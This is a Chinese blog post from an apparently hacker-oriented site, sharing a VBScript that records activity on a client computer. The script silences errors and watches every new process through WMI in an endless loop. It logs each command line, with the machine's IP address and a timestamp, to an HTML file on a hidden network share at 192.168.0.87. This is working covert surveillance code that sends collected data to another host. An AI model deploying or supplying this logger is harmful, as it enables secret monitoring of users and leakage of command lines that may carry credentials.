华域联盟 vbs 用VBS记录客户机操作的代码

用VBS记录客户机操作的代码

记录客户机操作的VBS脚本

on error resume next

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set IPConfigSet = objWMIService.ExecQuery _

("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")

For Each IPConfig in IPConfigSet

If Not IsNull(IPConfig.IPAddress) Then 

For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)

a=IPConfig.IPAddress(i)

Next

End If

Next

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colMonitoredProcesses = objWMIService. _ 

ExecNotificationQuery("select * from __instancecreationevent " _ 

& " within 1 where TargetInstance isa 'Win32_Process'")

i = 0

Do While i = 0

Set objLatestProcess = colMonitoredProcesses.NextEvent

b=objLatestProcess.TargetInstance.CommandLine

set fso=createobject("scripting.filesystemobject")

set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)

file1.writeline now() & "---" & a & "---" & b & "<hr>"

file1.close

Loop 

本文由 华域联盟 原创撰写:华域联盟 » 用VBS记录客户机操作的代码

转载请保留出处和原文链接:https://www.cnhackhy.com/15063.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部